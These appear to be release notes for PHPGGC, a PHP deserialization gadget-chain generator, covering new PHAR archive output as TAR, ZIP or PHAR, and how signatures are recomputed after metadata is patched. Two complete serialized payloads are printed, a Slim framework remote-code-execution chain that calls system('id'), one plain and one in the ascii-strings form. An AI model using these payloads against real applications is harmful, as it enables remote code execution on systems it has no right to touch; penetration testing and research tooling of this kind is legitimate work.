PharGGC
Notes
As requested (#22), PHPGGC can now generate PHAR archives as a TAR, ZIP, or PHAR file (-p <tar|zip|phar>
). It also supports the JPG polyglot technique described here. The implementation of Sam Thomas was a bit limited because of $phar->setMetadata()
, which prevented the use of enhancements (fast-destruct and ascii-strings). With a bit of hacky parsing I was able to bypass that.
Implementation (for nerds)
Why $phar->setMetadata()
is not an option
After the gadget chain is crafted, several "tricks" can be added, such as fast-destruct and ascii-strings. These tricks cannot be done by manipulating objects, they need to be done by manipulating the serialized string. Therefore, since setMetadata
expects an object and serializes it afterwards, I cannot use it directly, or some features would not be compatible.
Bypass
Since you cannot send your serialized payload directly when creating the PHAR (you can only send an object), I chose to build a PHAR with $this->setMedata('AAAAAAAA...')
, and I replace s:12:"AAAA...";
in the serialized payload.
Nevertheless, every PHAR file contains a signature. Since we're modifying the metadata, the signature has to be recomputed.
Interestingly enough, for TAR and ZIP formats, the payload will be unserialize()
d before the signature is controlled. It won't be if you're using the PHAR format.
I managed to port to PHP the signature computation for PHAR and TAR formats. Right now, the ZIP format does not recompute the signature (I'll implement that later), so exploiting using -p zip
will yield an error, but the payload will still be executed.
Output
Output can be send to a file using --output /tmp/file
(-o
in short).
Avoiding invalid characters: --ascii-strings
(-a
)
For some reason you might want your payload not to contain special characters (such as \n
, \t
, \x00
, etc.). It can be done by using the S
serialization format instead of the standard s
.
Example:
$ ./phpggc slim/rce1 system id
O:18:"Slim\Http\Response":2:{s:10:"*headers";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"all";a:2:{i:0;O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\Containerraw";a:1:{s:3:"has";s:6:"system";}s:24:"Pimple\Containervalues";a:1:{s:3:"has";s:6:"system";}s:22:"Pimple\Containerkeys";a:1:{s:3:"has";s:6:"system";}}}}i:1;s:2:"id";}}s:24:"Pimple\Containervalues";a:1:{s:3:"all";a:2:{i:0;r:6;i:1;s:2:"id";}}s:22:"Pimple\Containerkeys";a:1:{s:3:"all";a:2:{i:0;r:6;i:1;s:2:"id";}}}}s:7:"*body";s:0:"";}
$ ./phpggc slim/rce1 system id --ascii-strings
O:18:"Slim\Http\Response":2:{S:10:"\00\2a\00headers";O:8:"Slim\App":1:{S:19:"\00Slim\5cApp\00container";O:14:"Slim\Container":3:{S:21:"\00Pimple\5cContainer\00raw";a:1:{S:3:"all";a:2:{i:0;O:8:"Slim\App":1:{S:19:"\00Slim\5cApp\00container";O:8:"Slim\App":1:{S:19:"\00Slim\5cApp\00container";O:14:"Slim\Container":3:{S:21:"\00Pimple\5cContainer\00raw";a:1:{S:3:"has";S:6:"system";}S:24:"\00Pimple\5cContainer\00values";a:1:{S:3:"has";S:6:"system";}S:22:"\00Pimple\5cContainer\00keys";a:1:{S:3:"has";S:6:"system";}}}}i:1;S:2:"id";}}S:24:"\00Pimple\5cContainer\00values";a:1:{S:3:"all";a:2:{i:0;r:6;i:1;S:2:"id";}}S:22:"\00Pimple\5cContainer\00keys";a:1:{S:3:"all";a:2:{i:0;r:6;i:1;S:2:"id";}}}}S:7:"\00\2a\00body";S:0:"";}
The first result yields some null bytes. The second only yields printable characters.